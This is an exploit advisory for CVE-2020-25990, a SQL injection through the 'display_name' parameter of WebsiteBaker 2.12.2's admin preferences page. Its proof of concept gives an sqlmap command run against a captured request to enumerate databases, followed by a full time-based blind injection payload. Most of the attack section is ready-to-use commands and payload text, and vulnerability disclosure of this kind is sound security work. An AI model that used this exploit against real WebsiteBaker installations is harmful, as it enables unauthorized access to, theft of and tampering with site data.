# Google Dork: -  
# Date: 2020-09-20  
# Exploit Author: Roel van Beurden  
# Vendor Homepage: https://websitebaker.org  
# Software Link: https://wiki.websitebaker.org/doku.php/en/downloads  
# Version: 2.12.2  
# Tested on: Linux Ubuntu 18.04  
# CVE: CVE-2020-25990  
  
  
1. Description:  
----------------------  
WebsiteBaker 2.12.2 allows SQL Injection via parameter 'display_name' in /websitebaker/admin/preferences/save.php.  
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.  
  
  
2. Proof of Concept:  
----------------------  
In Burpsuite intercept the request from /websitebaker/admin/preferences/save.php and save it like burp.req  
Then run SQLmap to extract the data from the database:  
  
sqlmap -r burp.req --risk=3 --level=5 --dbs --random-agent  
  
  
3. Example payload:  
----------------------  
display_name=Administrator" AND (SELECT 9637 FROM (SELECT(SLEEP(5)))ExGN)-- Cspz&language=EN&timezone=system_default&date_format=M d Y&time_format=g:i A&[email protected]&new_password_1=&new_password_2=&current_password=&submit=Save&dd114892c1676ce3=j_5rdRnI_TarPQu7QmVVuw
